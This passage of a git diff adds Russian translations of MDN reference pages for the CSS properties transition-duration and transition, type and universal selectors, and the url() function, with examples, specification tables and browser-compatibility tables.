+<p>You may specify multiple durations; each duration will be applied to the corresponding property as specified by the {{ cssxref("transition-property") }} property, which acts as a master list. If there are fewer durations specified than in the master list, the user agent repeat the list of durations. If there are more durations, the list is simply truncated to the right size. In both case the CSS declaration stays valid.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;time&gt; values */
+transition-duration: 6s;
+transition-duration: 120ms;
+transition-duration: 1s, 15s;
+transition-duration: 10s, 30s, 230ms;
+
+/* Глобальные значения */
+transition-duration: inherit;
+transition-duration: initial;
+transition-duration: unset;
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>&lt;time&gt;</code></dt>
+ <dd>Is a {{cssxref("&lt;time&gt;")}} denoting the amount of time the transition from the old value of a property to the new value should take. A time of <code>0s</code> indicates that no transition will happen, that is the switch between the two states will be instantaneous. A negative value for the time renders the declaration invalid.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<div>
+<div id="duration_0_5s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-duration: 0.5s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:0.5s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:0.5s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:0.5s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transformv color;
+    transition-duration:0.5s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("duration_0_5s",275,150)}}</div>
+</div>
+
+<div id="duration_1s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-duration: 1s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top -webkit-transform color;
+    -webkit-transition-duration:1s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform color;
+    transition-duration:1s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top -webkit-transform transform color;
+    -webkit-transition-duration:1s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:1s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("duration_1s",275,150)}}</div>
+</div>
+
+<div id="duration_2s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-duration: 2s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:2s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:2s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:2s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("duration_2s",275,150)}}</div>
+</div>
+
+<div id="duration_4s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+<p><code>transition-duration: 4s</code></p>
+
+<div style="display: none;">
+<pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+<pre class="brush:css;">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:4s;
+    transition-timing-function: ease-in-out;
+}
+.box1{
+    transform: rotate(270deg);
+    -webkit-transform: rotate(270deg);
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position:absolute;
+    -webkit-transition-property: width height background-color font-size left top transform -webkit-transform color;
+    -webkit-transition-duration:4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top transform -webkit-transform color;
+    transition-duration:4s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+<pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+</div>
+
+<div>{{EmbedLiveSample("duration_4s",275,150)}}</div>
+</div>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Состояние</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#transition-duration', 'transition-duration') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.transition-duration")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions">Using CSS transitions</a></li>
+ <li>{{cssxref('transition')}}</li>
+ <li>{{cssxref('transition-property')}}</li>
+ <li>{{cssxref('transition-timing-function')}}</li>
+ <li>{{cssxref('transition-delay')}}</li>
+ <li>{{domxref("TransitionEvent")}}</li>
+</ul>
diff --git a/files/ru/web/css/transition/index.html b/files/ru/web/css/transition/index.html
new file mode 100644
index 0000000000..4fa585f14b
--- /dev/null
+++ b/files/ru/web/css/transition/index.html
@@ -0,0 +1,106 @@
+---
+title: transition
+slug: Web/CSS/transition
+tags:
+  - CSS
+  - CSS переход
+  - Reference
+  - transition
+  - Свойство CSS
+translation_of: Web/CSS/transition
+---
+<div>{{CSSRef}}</div>
+
+<p>Свойство <a href="/ru/docs/Web/CSS" title="CSS">CSS</a> <strong><code>transition</code></strong> - это {{ cssxref("Shorthand_properties", "сокращенное свойство") }} для {{ cssxref("transition-property") }}, {{ cssxref("transition-duration") }}, {{ cssxref("transition-timing-function") }}, и {{ cssxref("transition-delay") }}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/transition.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам pull request.</p>
+
+<p>Transition позволяет определять переходное состояние между двумя состояниями элемента. Различные состояния могут быть определены с помощью {{ cssxref("Псевдо-классы", "псевдоклассов") }}, таких как {{cssxref(":hover")}} или {{cssxref(":active")}} или установлены динамически с помощью JavaScript.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css">/* Применить к 1 свойству */
+/* имя свойства | длительность */
+transition: margin-left 4s;
+
+/* имя свойства | длительность | задержка */
+transition: margin-left 4s 1s;
+
+/* имя свойства | длительность | временная функция | задержка */
+transition: margin-left 4s ease-in-out 1s;
+
+/* Применить к 2 свойствам */
+transition: margin-left 4s, color 1s;
+
+/* Применить ко всем измененным свойствам */
+transition: all 0.5s ease-out;
+
+/* Глобальные значения */
+transition: inherit;
+transition: initial;
+transition: unset;
+</pre>
+
+<p>Свойство <code>transition</code> указывается как один или более одно-свойственных переходов (single-property transitions), разделённых запятой.</p>
+
+<p>Каждый одно-свойственный transition описывает переход, который должен быть применён к одному свойству (или специальным значениям <code>all</code> и <code>none</code>). Это включает в себя:</p>
+
+<ul>
+ <li>ноль или одно значение, представляющее свойство, к которому должен быть применён переход. Это может быть одно из:
+  <ul>
+   <li>ключевое слово <code>none</code></li>
+   <li>ключевое слово <code>all</code></li>
+   <li>{{cssxref("&lt;custom-ident&gt;")}} именование свойства CSS.</li>
+  </ul>
+ </li>
+ <li>ноль или одно {{cssxref("&lt;single-transition-timing-function&gt;")}} значение, представляющее временну́ю функцию</li>
+ <li>ноль, одно или два {{cssxref("&lt;time&gt;")}} значения. Первое значение, которое может быть интерпретировано как время, присваивается {{cssxref("transition-duration")}}, а второе значение, которое может быть интерпретировано как время, присваивается {{cssxref("transition-delay")}}.</li>
+</ul>
+
+<p>Посмотрите, <a href="/ru/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions#Когда_у_списков_значений_свойств_разные_длины" title="ru/CSS/CSS Transitions#Когда у списков значений свойств разные длины">что предпринимается</a> когда у списков значений свойств разные длины. Вкратце, избыточные свойства, не подлежащие анимации, игнорируются.</p>
+
+<h3 id="Формальное_описание_синтаксиса">Формальное описание синтаксиса</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Примеры CSS переходов включены в главную статью о <a href="/ru/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions" title="/ru/CSS/CSS transitions">CSS переходах</a>.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Состояние</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Transitions', '#transition-shorthand-property', 'transition') }}</td>
+   <td>{{ Spec2('CSS3 Transitions') }}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам pull request.</div>
+
+<p>{{Compat("css.properties.transition")}}</p>
+
+<p>[2] <a href="http://www.quirksmode.org/css/transitions/properties.html#t031">PPK test</a></p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/CSS_Transitions/Using_CSS_transitions" title="ru/CSS/CSS transitions">Использование CSS переходов</a></li>
+ <li>{{ domxref("TransitionEvent") }}</li>
+</ul>
diff --git a/files/ru/web/css/type_selectors/index.html b/files/ru/web/css/type_selectors/index.html
new file mode 100644
index 0000000000..dad05d9663
--- /dev/null
+++ b/files/ru/web/css/type_selectors/index.html
@@ -0,0 +1,121 @@
+---
+title: Селектор по типу
+slug: Web/CSS/Type_selectors
+translation_of: Web/CSS/Type_selectors
+---
+<div><span class="s1">{{CSSRef("Selectors")}}</span></div>
+
+<h2 id="Summary" name="Summary">Краткое описание</h2>
+
+<p>CSS селекторы по типу выбирают элементы по имени узла. Используются отдельно, поэтому, селектор типа для конкретного имени тега выбирает все элементы этого типа, то есть с этим именем узла в документе.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">element { <em>style properties</em> }
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">span {
+  background-color: DodgerBlue;
+  color: #ffffff;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;span&gt;Здесь тег <em>span</em> с каким-то текстом.&lt;/span&gt;
+&lt;p&gt;Здесь тег <em>p</em> с каким-то текстом.&lt;/p&gt;
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{ EmbedLiveSample('Example', 200, 100) }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#type-selectors', 'Type (tag name) selector') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#type-selectors', 'type selectors') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'selector.html#type-selectors', 'type selectors') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS1', '#basic-concepts', 'type selectors') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/universal_selectors/index.html b/files/ru/web/css/universal_selectors/index.html
new file mode 100644
index 0000000000..9742586517
--- /dev/null
+++ b/files/ru/web/css/universal_selectors/index.html
@@ -0,0 +1,132 @@
+---
+title: Универсальные селекторы
+slug: Web/CSS/Universal_selectors
+translation_of: Web/CSS/Universal_selectors
+---
+<p><span class="s1">{{CSSRef("Selectors")}}</span></p>
+
+<h2 id="Краткое_описание">Краткое описание</h2>
+
+<p>Звездочка (*) - универсальный селектор для CSS. Соответствует любому тегу. Убирая звездочки с простых селекторов имеет тот же эффект. Например, <em>* .warning</em> и <em>.warning</em> считаются равными.</p>
+
+<p>В CSS 3, звездочка (<code>*</code>) может использоваться в комбинации с пространством имён</p>
+
+<ul>
+ <li><code>ns|*</code> - вхождения всех элементов в пространстве имён ns</li>
+ <li><code>*|*</code> - находит все элементы</li>
+ <li><code>|*</code> - ищет все элементы без объявленного пространства имён</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: css">*[lang^=en]{color:green;}
+*.warning {color:red;}
+*#maincontent {border: 1px solid blue;}
+</pre>
+
+<pre class="brush: html">&lt;p class="warning"&gt;
+  &lt;span lang="en-us"&gt;Зелёный span&lt;/span&gt; в красном параграфе.
+&lt;/p&gt;
+&lt;p id="maincontent" lang="en-gb"&gt;
+  &lt;span class="warning"&gt;Красный span&lt;/span&gt; в зеленом параграфе.
+&lt;/p&gt;</pre>
+
+<p>{{ EmbedLiveSample('Example', 250, 100) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#the-universal-selector', 'universal selector') }}</td>
+   <td>{{ Spec2('CSS4 Selectors') }}</td>
+   <td>Без изменений</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#universal-selector', 'universal selector') }}</td>
+   <td>{{ Spec2('CSS3 Selectors') }}</td>
+   <td>Определено поведение в отношении пространств имен и добавлена подсказка, что разрешено пренебрегать селектором для псевдо-элементов</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'selector.html#universal-selector', 'universal selector') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1") }}</td>
+   <td>7</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Поддержка пространств имён</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1") }}</td>
+   <td>9</td>
+   <td>8</td>
+   <td>1.3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("1") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Поддержка пространств имён</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/css/url()/index.html b/files/ru/web/css/url()/index.html
new file mode 100644
index 0000000000..8db95012a1
--- /dev/null
+++ b/files/ru/web/css/url()/index.html
@@ -0,0 +1,171 @@
+---
+title: url()
+slug: Web/CSS/url()
+translation_of: Web/CSS/url()
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">The <code><strong>url()</strong></code> <a href="/en-US/docs/Web/CSS">CSS</a> function is used to include a file. The parameter is an absolute URL, a relative URL, or a data URI. The <code><strong>url()</strong></code> function can be passed as a parameter of another CSS functions, like the {{cssxref('attr()')}} function. Depending on the property for which it is a value, the resource sought can be an image, font, or a stylesheet. The url() functional notation is the value for the &lt;url&gt; data type.</span></p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Simple usage */
+url(https://example.com/images/myImg.jpg);
+url(data:image/png;base64,iRxVB0…);
+url(myFont.woff);
+url(#IDofSVGpath);
+
+/* associated properties */
+background-image: url("https://mdn.mozillademos.org/files/16761/star.gif");
+list-style-image: url('../images/bullet.jpg');
+content: url("pdficon.jpg");
+cursor: url(mycursor.cur);
+border-image-source: url(/media/diamonds.png);
+src: url('fantasticfont.woff');
+offset-path: url(#path);
+mask-image: url("masks.svg#mask1");
+
+/* Properties with fallbacks */
+cursor: url(pointer.cur), pointer;
+
+/* Associated short-hand properties */
+background: url('https://mdn.mozillademos.org/files/16761/star.gif') bottom right repeat-x blue;
+border-image: url("/media/diamonds.png") 30 fill / 30px / 30px space;
+
+/* As a parameter in another CSS function */
+background-image: cross-fade(20% url(first.png), url(second.png));
+mask-image: image(url(mask.png), skyblue, linear-gradient(rgba(0, 0, 0, 1.0), transparent);
+
+/* as part of a non-shorthand multiple value */
+content: url(star.svg) url(star.svg) url(star.svg) url(star.svg) url(star.svg);
+
+/* at-rules */
+@document url("https://www.example.com/") { ... } {{Experimental_Inline}}
+@import url("https://www.example.com/style.css");
+@namespace url(http://www.w3.org/1999/xhtml);
+</pre>
+
+<p>Relative URLs, if used, are relative to the URL of the stylesheet (not to the URL of the web page).</p>
+
+<p class="task-list-item">The <code><strong>url()</strong></code> function can be included as a value for {{cssxref('background')}}, {{cssxref('background-image')}}, {{cssxref('list-style')}}, {{cssxref('list-style-image')}}, {{cssxref('content')}}, {{cssxref('cursor')}}, {{cssxref('border')}}, {{cssxref('border-image')}}, {{cssxref('border-image-source')}}, {{cssxref('mask')}}, {{cssxref('mask-image')}}, <a href="/en-US/docs/Web/CSS/@font-face/src">src</a> as part of a <a href="/en-US/docs/Web/CSS/@font-face">@font-face</a> block, and <a href="/en-US/docs/Web/CSS/@counter-style/symbols">@counter-style/symbol</a></p>
+
+<p>In CSS Level 1, the <code>url()</code> functional notation described only true URLs. In CSS Level 2, the definition of <code>url()</code> was extended to describe any URI, including URNs. CSS Values and Units Level 3 returned to the narrower, initial definition. Now, <code>url()</code> denotes only true <code>&lt;url&gt;</code>s.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>&lt;string&gt;</code></dt>
+ <dd>
+ <dl>
+  <dt>&lt;url&gt;</dt>
+  <dd>A url, which is a relative or absolute address, or pointer, to the web resource to be included, or a data uri, optionally in single or double quotes. Quotes are required if the URL includes parentheses, whitespace, or quotes, unless these characters are escaped, or if the address includes control characters above 0x7e. Double quotes cannot occur inside double quotes and single quotes cannot occur inside single quotes unless escaped. The following are all valid and equivalent:
+  <pre class="syntaxbox notranslate">&lt;css_property&gt;: url("https://example.com/image.png")
+&lt;css_property&gt;: url('https://example.com/image.png')
+&lt;css_property&gt;: url(https://example.com/image.png)</pre>
+  </dd>
+  <dt>path</dt>
+  <dd>References the ID of an <a href="/en-US/docs/Web/SVG/Tutorial/Basic_Shapes">SVG shape</a> -- <code>circle</code>, <code>ellipse</code>, <code>line</code>, <code>path</code>, <code>polygon</code>, <code>polyline</code>, or <code>rect</code> -- using the shape's geometry as the path.</dd>
+ </dl>
+ </dd>
+ <dt><code style="white-space: nowrap;">&lt;url-modifier&gt;</code> {{Experimental_Inline}}</dt>
+ <dd>In the future, the <code>url()</code> function may support specifying a modifier, an identifier or a functional notation, which alters the meaning of the URL string.This is not supported and not fully defined in the specification.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox notranslate">url( <a href="/en-US/docs/Web/CSS/string">&lt;string&gt;</a> &lt;url-modifier&gt;* )</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="content_property">content property</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;ul&gt;
+  &lt;li&gt;Item 1&lt;/li&gt;
+  &lt;li&gt;Item 2&lt;/li&gt;
+  &lt;li&gt;Item 3&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css highlight[2] notranslate">li::after {
+  content: ' - ' url(https://mdn.mozillademos.org/files/16761/star.gif);
+}</pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("content_property", "100%", 50)}}</p>
+
+<h3 id="data-uri">data-uri</h3>
+
+<div id="color-value">
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="background"&gt;&lt;/div&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<div class="hidden">
+<pre class="brush: css notranslate">.background {
+  height: 100vh;
+}</pre>
+</div>
+
+<pre class="brush: css highlight[6] notranslate">.background {
+  background: yellow;
+  background: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='90' height='45'%3E%3Cpath d='M10 10h60' stroke='%2300F' stroke-width='5'/%3E%3Cpath d='M10 20h60' stroke='%230F0' stroke-width='5'/%3E%3Cpath d='M10 30h60' stroke='red' stroke-width='5'/%3E%3C/svg%3E");
+}</pre>
+</div>
+
+<p>{{EmbedLiveSample("data-uri", "100%", 50)}}</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#urls', 'url()')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#urls', 'url()')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>No significant change from CSS Level 2 (Revision 1).</td>
+  </tr>
+  <tr>
+   <td>{{Specname('CSS2.1', 'syndata.html#uri', 'uri()')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>No significant change from CSS Level 1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#url', 'url()')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<div>{{Compat("css.types.url")}}</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{cssxref("&lt;gradient&gt;")}}</li>
+ <li>{{cssxref("element()")}}</li>
+ <li>{{cssxref("_image","image()")}}</li>
+ <li><font><font>{{cssxref ("набор изображений", "набор изображений ()")}}</font></font></li>
+ <li><font><font>{{cssxref ("плавное затухание")}}</font></font></li>
+</ul>
diff --git a/files/ru/web/css/url/index.html b/files/ru/web/css/url/index.html
new file mode 100644
index 0000000000..da5bae7c33
--- /dev/null
+++ b/files/ru/web/css/url/index.html
@@ -0,0 +1,93 @@
+---
+title: <url>
+slug: Web/CSS/url
+tags:
+  - Адрес
+  - Типы данных
+  - относительный адрес
+translation_of: Web/CSS/url
+---
+<div>{{CssRef}}</div>
+
